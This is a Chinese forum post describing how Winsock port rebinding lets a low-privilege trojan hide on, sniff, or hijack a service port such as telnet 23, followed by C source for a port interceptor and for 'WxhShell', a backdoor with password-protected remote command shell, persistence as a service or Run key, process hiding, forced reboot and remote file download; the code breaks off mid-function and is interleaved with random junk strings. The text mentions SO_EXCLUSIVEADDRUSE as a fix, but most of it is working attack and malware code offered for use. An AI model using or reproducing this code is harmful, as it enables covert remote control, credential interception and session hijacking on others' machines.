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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: X|zQZ<CO  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )c!7V)z  
.sI*\@w.  
  saddr.sin_family = AF_INET; Yef=HSzo  
w.Cw)# N  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @{N2I$%6  
d5Hp&tm  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); E-gI'qG\(  
tljZE)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 VBnD:w"z  
W%&t[ _21  
  这意味着什么?意味着可以进行如下的攻击: t|-TG\Q X  
r&  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [hzw..?g  
riw0w  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) cHo@F!{o=  
*Z}^T:3iw}  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $d0xJxM  
(5CdA1|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  h,-2+}  
o]T-7Gs4p  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 VWhq +8z  
Ac^hZ.qPz  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 D)shWJRlvW  
5SV w71 *  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 0\tV@ 6p2=  
6=N!()s  
  #include 9;2{=,  
  #include +vf~s^  
  #include N"/J1   
  #include    WAq)1gwN  
  DWORD WINAPI ClientThread(LPVOID lpParam);   m[aBHA^g  
  int main() b'AA*v,b  
  { +az=EF  
  WORD wVersionRequested; `L~gERW#  
  DWORD ret; #su R[K*S  
  WSADATA wsaData; I{nrOb1G(  
  BOOL val; g \.O5H9Od  
  SOCKADDR_IN saddr; OQnb^fabY  
  SOCKADDR_IN scaddr; &VPfI  
  int err; r+%$0eB1^  
  SOCKET s; 7a0T]  
  SOCKET sc; t[e`wj+qz  
  int caddsize; cG)U01/"  
  HANDLE mt; G/ sRi wL  
  DWORD tid;   Pk ?M~{S  
  wVersionRequested = MAKEWORD( 2, 2 ); aU\R!Y$/"  
  err = WSAStartup( wVersionRequested, &wsaData ); =Ju%3ptH0  
  if ( err != 0 ) { 2I[(UMI$7  
  printf("error!WSAStartup failed!\n"); :<p3L!?8y  
  return -1; Wf!u?nH.5  
  } hQb3 8W[  
  saddr.sin_family = AF_INET; x@*RF:\}  
   ew+>?a'&L  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Vq&}i~  
e6`g[Ap  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); f|+aa6hN  
  saddr.sin_port = htons(23); b?U2g?lN:  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) GI5#{-)  
  { r}S>t~p:  
  printf("error!socket failed!\n"); `RlMfd  
  return -1; SX)o0v+  
  } aN5"[&  
  val = TRUE; 1xTNrLW  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 r91b]m3xL  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) jvQpf d  
  { <SKzCp\  
  printf("error!setsockopt failed!\n"); Oh=E!  
  return -1; A.+Qa  
  } a{ p1Yy-]  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9,jFQb(),  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 C2;Hugm4  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 cI\&&<>SlG  
GR,gCtG+L  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ) :VF^"  
  { !d Z:Ih.[{  
  ret=GetLastError(); +.J/7 gD  
  printf("error!bind failed!\n"); gP2<L5&Z,  
  return -1; O0_kLH$.  
  } nN%Zed2O@6  
  listen(s,2); N{&Hq4^c  
  while(1) R ~?9+  
  { &HBC9Bx/(  
  caddsize = sizeof(scaddr);  yJGnN g  
  //接受连接请求 K3^2;j1F Q  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); x/L(0z  
  if(sc!=INVALID_SOCKET) 0bfJD'^9RP  
  { sTmdoqTK!  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 8 3Tv-X  
  if(mt==NULL) 8}Cp(z2  
  { b^q%p1  
  printf("Thread Creat Failed!\n"); R4%}IT^%P  
  break; T9?8@p\}(  
  } "ph[)/u;  
  } UM}MK  
  CloseHandle(mt); T4Io+b8 $  
  } &PUn,9 Rm  
  closesocket(s); }qg.Go  
  WSACleanup(); ,uL}O]L  
  return 0; %9OVw #P  
  }   Zvkb=  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8,L)=3m-  
  { Z#zXary5s  
  SOCKET ss = (SOCKET)lpParam; <O3,b:vw  
  SOCKET sc; `Y,<[ Lnr  
  unsigned char buf[4096]; 'MQJt2QU9{  
  SOCKADDR_IN saddr; RG6U~o1  
  long num; d`3>@*NR<  
  DWORD val; IoCi(N;  
  DWORD ret; MI,kKi  
  //如果是隐藏端口应用的话,可以在此处加一些判断 c JOT{  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   '8c-V aa  
  saddr.sin_family = AF_INET; ' 1D1y'  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 'wjL7P I  
  saddr.sin_port = htons(23); y eWB.M~X  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) y Dw#V`Y^M  
  { Lnc>O'<5P9  
  printf("error!socket failed!\n"); /TScYE:$HE  
  return -1; T7Qw1k  
  } ^oDSU7j5,  
  val = 100; 64l(ru<  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;v m$F251  
  { bG/[mZpRT  
  ret = GetLastError(); QFU1l"(qGk  
  return -1; Eb89B%L62G  
  } ~y>NJM>1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) LfX[(FP  
  { u&r+ylbs I  
  ret = GetLastError(); ~ekV*,R"  
  return -1;  K2D, *w  
  } Rz"gPU4;`  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) '7UIzk|  
  { dPmNX-'7  
  printf("error!socket connect failed!\n"); kmM- >v  
  closesocket(sc); }5=tUfh)]'  
  closesocket(ss); 9Bi{X_.9  
  return -1; A;7At!kK  
  } WoWmmZ  
  while(1) Pvz\zRq  
  {  4_d'Uh&]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 frUO+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 5?-@}PL!Y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 z<,-:=BC"  
  num = recv(ss,buf,4096,0); et}%E9  
  if(num>0) R_B`dP<"~Y  
  send(sc,buf,num,0); UJk/Lxv  
  else if(num==0) 6Jd.Eg ~A7  
  break; tQ Ia6c4|  
  num = recv(sc,buf,4096,0); ab^>_xD<  
  if(num>0) _qsg2e}n  
  send(ss,buf,num,0); V2IurDE  
  else if(num==0) Kd;)E 9Ti  
  break; |6!L\/}M%  
  } dr]Pns9  
  closesocket(ss); |yVveJ  
  closesocket(sc); ,g:\8*Y>'  
  return 0 ; {R}Kt;L:Ut  
  } !+T29QYK8  
#SqU>R  
-p[!C I  
========================================================== `R,g_{M j  
A_2oQ*  
下边附上一个代码,,WXhSHELL UpS7>c7s  
zaG1  
========================================================== s|IC;C|  
k.!m-5E  
#include "stdafx.h" Yqb3g(0   
Zx 5Ue#I  
#include <stdio.h> => X"  
#include <string.h> \&b1%Asyz  
#include <windows.h> ?V' zG&n@  
#include <winsock2.h> >Qx :l#B  
#include <winsvc.h> J3c8WS{:  
#include <urlmon.h> NM4b]>   
CZw]@2/JuQ  
#pragma comment (lib, "Ws2_32.lib") :EV*8{:aLU  
#pragma comment (lib, "urlmon.lib") .dKFQH iYJ  
0{qe1pb w  
#define MAX_USER   100 // 最大客户端连接数 9z kRwrQ  
#define BUF_SOCK   200 // sock buffer m#`1.5%  
#define KEY_BUFF   255 // 输入 buffer Ft 6{g JBG  
jP}Ix8vc=  
#define REBOOT     0   // 重启 ,_z"3B)]  
#define SHUTDOWN   1   // 关机 XU|>SOR@z  
Pd04  
#define DEF_PORT   5000 // 监听端口 [^0 S#,L  
\^x`GsVy  
#define REG_LEN     16   // 注册表键长度 T7?cnK"  
#define SVC_LEN     80   // NT服务名长度 L)X[$:  
!![HR6"Q  
// 从dll定义API "wnN 0 p  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |OBh:d_B]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nR8r$2B+t  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); u{5+hZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); rmJ`^6V  
8:fq!m  
// wxhshell配置信息 @G^m+-  
struct WSCFG { q!AcM d\  
  int ws_port;         // 监听端口 G_S2Q @|Q  
  char ws_passstr[REG_LEN]; // 口令 fVz0H1\J&  
  int ws_autoins;       // 安装标记, 1=yes 0=no =fK6P6'B  
  char ws_regname[REG_LEN]; // 注册表键名 +*Zjo&pc  
  char ws_svcname[REG_LEN]; // 服务名 :: s k)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #Q@~ TW  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ).IK[5Q`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 dy3fZ(=q^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no dfT  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L\xR<m<,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d~#:t~ $,  
Z $Fm73  
}; }///k]_Sh  
_K3;$2d|R  
// default Wxhshell configuration th%T(D5n  
struct WSCFG wscfg={DEF_PORT, a/xnf<(H  
    "xuhuanlingzhe", 9k;%R5(  
    1, B7( bNr  
    "Wxhshell", h^'+y1  
    "Wxhshell", J+m1d\lBu  
            "WxhShell Service", Xa$-Sx  
    "Wrsky Windows CmdShell Service", `]F#j ]"  
    "Please Input Your Password: ", <&l@ ):a  
  1, *_@$ "9  
  "http://www.wrsky.com/wxhshell.exe", v9"03 =h  
  "Wxhshell.exe" xM?tdQ~VHY  
    }; xwojjiV  
ny1Dg$u i2  
// 消息定义模块 ^ /)%s3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; dy4~~~^A  
char *msg_ws_prompt="\n\r? for help\n\r#>"; auAwZi/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H18pVh  
char *msg_ws_ext="\n\rExit."; \m#{ {SGm  
char *msg_ws_end="\n\rQuit."; Q2"K!u]  
char *msg_ws_boot="\n\rReboot..."; eC`G0.op  
char *msg_ws_poff="\n\rShutdown..."; A`*Sx"~jdx  
char *msg_ws_down="\n\rSave to "; j%i6H1#.Z  
[I,s:mn  
char *msg_ws_err="\n\rErr!"; y>0Gmr  
char *msg_ws_ok="\n\rOK!"; (Q"~bP{F  
wQYW5X  
char ExeFile[MAX_PATH]; {Rq5=/b  
int nUser = 0; ?@QcKQ@  
HANDLE handles[MAX_USER]; EZ[e  a<  
int OsIsNt; krRnE7\m  
WNSEc%  
SERVICE_STATUS       serviceStatus; ~0rvrDDg  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; d$y?py  
g/gaPc*86  
// 函数声明 *fI\|%K  
int Install(void); $V;0z~&!'  
int Uninstall(void); 5ljEh -  
int DownloadFile(char *sURL, SOCKET wsh); ))I[@D1b  
int Boot(int flag); gw<u dhk  
void HideProc(void); f=- R<l  
int GetOsVer(void); @_ Tq>tOr&  
int Wxhshell(SOCKET wsl); Tr, zV  
void TalkWithClient(void *cs); WQsu}_g5y  
int CmdShell(SOCKET sock); Y?:" nhN  
int StartFromService(void); V!QC.D<  
int StartWxhshell(LPSTR lpCmdLine); 3-BC4y/  
Li9>RY+3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0~e6\7={  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ($t;Xab  
p5J!j I=  
// 数据结构和表定义 UL" M?).5  
SERVICE_TABLE_ENTRY DispatchTable[] = ]3uj~la  
{ G4uA&"OE  
{wscfg.ws_svcname, NTServiceMain}, !J[!i"e  
{NULL, NULL} uCc5)  
}; YcW) D  
4c<\_\\ck  
// 自我安装 fzUG1|$e  
int Install(void) &U\//   
{ fvj  
  char svExeFile[MAX_PATH]; pW_mS|  
  HKEY key; G)&!f)6  
  strcpy(svExeFile,ExeFile); ;WG%)^e  
.dj}y jd]f  
// 如果是win9x系统,修改注册表设为自启动 t:n$9WB)  
if(!OsIsNt) { 9&{HD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m,&2s-v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R| XD#bG  
  RegCloseKey(key); 5>h/LE]"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _O&P!hI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O$X^Ea7~  
  RegCloseKey(key); A @e!~  
  return 0; |Rz}bsrZ  
    } : :928y  
  } izLB4pk$  
} |][PbN D  
else { E5\>mf ,;u  
!w/]V{9`X  
// 如果是NT以上系统,安装为系统服务 Ss:'H H4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); DPfN*a-P(  
if (schSCManager!=0) lU.aDmy<  
{ r(<91~Ww  
  SC_HANDLE schService = CreateService K6,d{n  
  ( %!R\-Vej  
  schSCManager, WLH ;{  
  wscfg.ws_svcname,  p4P"U  
  wscfg.ws_svcdisp, uM9Gj@_  
  SERVICE_ALL_ACCESS, &D&U!3~(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _5o5/@  
  SERVICE_AUTO_START, 0 > QqsQ  
  SERVICE_ERROR_NORMAL, qR kPl!5  
  svExeFile, 4wx{i6  
  NULL, oo1h"[  
  NULL,  {IT xHt  
  NULL, DIgur}q)@  
  NULL, Th4}$)yrkN  
  NULL Wr8}=\/  
  ); I0G[K~gb  
  if (schService!=0) /xd|mo)D  
  { Yw\lNhoPS  
  CloseServiceHandle(schService); ()<?^lr33  
  CloseServiceHandle(schSCManager); 4W=fQx]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); H%{k.#O  
  strcat(svExeFile,wscfg.ws_svcname); 9&s>RJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g|j15&x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +y\o^w4sT  
  RegCloseKey(key); Su<>UsdUC  
  return 0; 8Ep!  
    } s<5PsR  
  } v3wq-  
  CloseServiceHandle(schSCManager); 6cOlY= bn  
} hJ75(I *j  
} UD Pn4q  
9{Igw"9ck  
return 1; 'ZAIe7i&  
} s\ Ln  
PgsG*5WQ  
// 自我卸载 (~fv;}}v  
int Uninstall(void) F:AVik  
{ Lzx2An@R  
  HKEY key; B/Ltb^a  
4h T!DS  
if(!OsIsNt) { { PS0.UZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p[}~Z|(  
  RegDeleteValue(key,wscfg.ws_regname); 24\^{3nOK  
  RegCloseKey(key); 5>hXqNjP2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1/%5pb2\  
  RegDeleteValue(key,wscfg.ws_regname); YUT I)&y  
  RegCloseKey(key); g"\J iBb5  
  return 0; D5Z)"~'  
  } WwUHHm<v  
} ,o}CBB! k  
} FM|3'a-z  
else { 0D0uzUD-  
z`,dEGfh^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); MjbgAH-  
if (schSCManager!=0) 55=YM'5]  
{ P1 |3%#c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); i?,\>LTG  
  if (schService!=0) SAE'y2B*  
  { j|{ n?  
  if(DeleteService(schService)!=0) { YD0j&@.  
  CloseServiceHandle(schService); w*X(bua@  
  CloseServiceHandle(schSCManager); uUe#+[bD  
  return 0; S|?P#.=GX  
  } 8!MVDp[|"  
  CloseServiceHandle(schService); !Z0S@]C  
  } Q]OR0-6<.  
  CloseServiceHandle(schSCManager); |hX\ep   
} .pH 4[~  
} u/xP$  
9%riB/vkrF  
return 1; HcrlcxwM\i  
} l~[ K.p&  
\\{78WDA  
// 从指定url下载文件 [}4\CWM  
int DownloadFile(char *sURL, SOCKET wsh) Jgy6!qUn_  
{ XANJA  
  HRESULT hr; (%G>TV  
char seps[]= "/"; 4L r,}t A  
char *token; 'a$/ !~X  
char *file; #c9MVQ_   
char myURL[MAX_PATH]; -s ^cy+jd  
char myFILE[MAX_PATH]; %}unlSTPP  
F4:5 >*:  
strcpy(myURL,sURL); h;mOfF  
  token=strtok(myURL,seps); TQOJN  
  while(token!=NULL) 3TN'1D ei  
  { &a6-+r  
    file=token; Ga` 8oY+~  
  token=strtok(NULL,seps); ony;U#^T  
  } C;ME"4,(  
2o 7o~r  
GetCurrentDirectory(MAX_PATH,myFILE); I*pFX0+  
strcat(myFILE, "\\"); T0cm+|S  
strcat(myFILE, file); \aN5:Yy  
  send(wsh,myFILE,strlen(myFILE),0); B)dd6R>8  
send(wsh,"...",3,0); c~d*SDca  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wkp$/IZKMj  
  if(hr==S_OK) `.wgRUhFH;  
return 0; j`_Z`eG  
else 5G z~,_  
return 1; )-1$y+s>  
"o@R}_4]q  
} G#='*v OtO  
G$~hAZ  
// 系统电源模块 $>Gf;k  
int Boot(int flag) CljEC1S#  
{ F |_mCwA  
  HANDLE hToken; `g{eWY1l  
  TOKEN_PRIVILEGES tkp; WK.,q>#  
@Q:?,  
  if(OsIsNt) { aZmbt,.V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5!6}g<z&L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); - @KT#  
    tkp.PrivilegeCount = 1; o Y<vKs^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ul"Z% 1]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Xg}~\|n  
if(flag==REBOOT) { C%P.`NxA  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W61:$y}8  
  return 0; z7a @'+'  
} `$/M\aM%  
else { =J )(=,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) vY,]f^F"  
  return 0; L.a~vk 1  
} QFhQfn  
  } ~SEIIq  
  else { i^/ H>E%u  
if(flag==REBOOT) { =gSACDTc  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) UZE%!OWpeK  
  return 0;  ur k@v  
} >k u7{1)  
else { {1GIiP-U  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) BFn}~\wzK  
  return 0; ~ o5h}OU"  
} q,j` _ R4  
} PmDar<m  
3[To"You  
return 1; l3kBt-m  
} 79U 7<]-!  
p*=9Ea:  
// win9x进程隐藏模块 |CjdmQ u  
void HideProc(void) f=40_5a6  
{ `ln= D$  
.eDI ZX  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N)$yBzN  
  if ( hKernel != NULL ) h,'m*@Eg  
  { $h'>Zvf  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [kZe6gYP&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); eadY(-4|I-  
    FreeLibrary(hKernel); NSAp.m   
  } z^9df(  
2lBu"R6}  
return; LpSd/_^b  
} skfFj&_T  
l@%7] 0!T  
// 获取操作系统版本 e@{8G^o>D  
int GetOsVer(void) ]i:O+t/U  
{ RIxGwMi%  
  OSVERSIONINFO winfo; -o0~xspF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |Ok1E  
  GetVersionEx(&winfo); gUxJ>~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8I=migaxP  
  return 1; 9#niMv9  
  else <rFY$ ?x  
  return 0; _ ;_NM5  
} _&6&sp<n  
8'Ph/L,  
// 客户端句柄模块 ]w|,n2DG  
int Wxhshell(SOCKET wsl) Z"G@I= Q(  
{ nA^UF_rD-  
  SOCKET wsh; Flzl,3rW4  
  struct sockaddr_in client; lTpmoDa%  
  DWORD myID; QK%6Ncv  
O hcPlr  
  while(nUser<MAX_USER) I- X|-  
{ i<nUp1r(  
  int nSize=sizeof(client); 9rsty{J8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |>P`Gl]E  
  if(wsh==INVALID_SOCKET) return 1; w/HGmVa  
KCkA4`IeM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kyc Z  
if(handles[nUser]==0) ZKa.MBde  
  closesocket(wsh); ,kKMUshBi  
else JY tM1d  
  nUser++; sX,oJIt  
  } 64OgE!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )0JXUC e  
vxzOG?Xc:  
  return 0; wDV%.Cc  
} uiIY,FL$  
XZeZqBr  
// 关闭 socket 7u Q-:n  
void CloseIt(SOCKET wsh) L 59q\_|  
{ p}NIZ)]$  
closesocket(wsh); ;Qc_Tf=,  
nUser--; GJY7vS^#  
ExitThread(0); 7usf^g[dh  
} 6 ztM(2[  
m4~Co*]w  
// 客户端请求句柄 1dF=BR8  
void TalkWithClient(void *cs) 6* /o  
{ "1H?1"w~  
b:nHcxDU<  
  SOCKET wsh=(SOCKET)cs; Y.qlY3iBp  
  char pwd[SVC_LEN]; dM(}1%2  
  char cmd[KEY_BUFF]; ttPa[h{!  
char chr[1]; q*oUd/F8  
int i,j; AopC xaJ`  
 Yq.Cz:>b  
  while (nUser < MAX_USER) { PYl(~Vac  
f#a ~av9rC  
if(wscfg.ws_passstr) { HPGi5rU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [}|-% 4s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2!/_Xh  
  //ZeroMemory(pwd,KEY_BUFF); 2 fX-J  
      i=0; aU3 m{pE  
  while(i<SVC_LEN) { xoD5z<<  
\w!G  
  // 设置超时 /YWoDHL  
  fd_set FdRead; L\8 tqy.  
  struct timeval TimeOut; Eoug/we  
  FD_ZERO(&FdRead); vIrLG1EK  
  FD_SET(wsh,&FdRead); uuzDu]Gwu  
  TimeOut.tv_sec=8; Y%b 5{1  
  TimeOut.tv_usec=0; Cyxt EzPp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :Xv3< rS<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6|m1z  
%Ysu613mz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R ;^[4<&  
  pwd=chr[0]; BW}^n  
  if(chr[0]==0xd || chr[0]==0xa) { 1%|+yu1  
  pwd=0; nJF"[w,?  
  break; &%`IPhbT  
  } IBY3QG  
  i++; 3_2(L"S2  
    } dZm>LVjG  
zPU& }7  
  // 如果是非法用户,关闭 socket _JA.~edqM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pr.Vfb  
} C_?L$3 U0  
qtTys gv  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); E27wxMU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6TxZ^&=  
}`4o+  
while(1) { 6pI =?g  
M ]W'>g)G  
  ZeroMemory(cmd,KEY_BUFF); A"k6n\!n;  
i)P.Omr  
      // 自动支持客户端 telnet标准   ?@l9T)fF  
  j=0; /] ce?PPC  
  while(j<KEY_BUFF) { ;g: TsYwM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l/`<iG%  
  cmd[j]=chr[0]; I@a7AuOw  
  if(chr[0]==0xa || chr[0]==0xd) { 'Zf_/ y  
  cmd[j]=0; /yyed{q  
  break; v I@Wuu:  
  } bV&/)eqv  
  j++; 9]BpP0f\  
    } oL#^=vid"  
D,dmlv  
  // 下载文件 |&3m'"(  
  if(strstr(cmd,"http://")) { g4P059  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); p-UACMN& c  
  if(DownloadFile(cmd,wsh)) p8Di9\}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); V{@<Z8sW#  
  else \szx.IZT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :^71,An >E  
  } q/Ba#?sen  
  else { EYd`qk 3  
bS<lB!  
    switch(cmd[0]) { |dpOE<f[  
  *Eu ca~%=  
  // 帮助 g}@_ @  
  case '?': { K5z*DYT  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g4&zBn  
    break; c~b[_J)  
  } RtGETiA\b  
  // 安装 #IA[erf:  
  case 'i': { wy <m&M<Gr  
    if(Install()) _+N*4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2[LT!TT  
    else +|).dm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bdk"7N  
    break; [Pi8gj*  
    } r5Jy( ~  
  // 卸载 }k.-xaj  
  case 'r': { 2)h i(  
    if(Uninstall()) sb Z)z#Tr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,h5\vWZ  
    else JGX E{FT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gpVZZ:~  
    break; _)O1v%]"4  
    } N\l\ M  
  // 显示 wxhshell 所在路径 28C/^4  
  case 'p': { )7Gm<r  
    char svExeFile[MAX_PATH]; j1*'yvGM  
    strcpy(svExeFile,"\n\r"); nZ>qM]">u  
      strcat(svExeFile,ExeFile); %RG kXOgp  
        send(wsh,svExeFile,strlen(svExeFile),0); 9TBkVbqV  
    break; [0El z@.C  
    } fAm^-uq[  
  // 重启 'U.)f@L#w  
  case 'b': { v{$X2z_$w  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /@X!  
    if(Boot(REBOOT)) _d 76jmujJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rS\j9@=Y4  
    else { ZZ?0%9  
    closesocket(wsh); *%7[{Loz  
    ExitThread(0); O $'# 8  
    } )o;/*h%@  
    break; f <fa +fB  
    } ('xIFi  
  // 关机 Fm_^7|  
  case 'd': { ?OW 4J0B'  
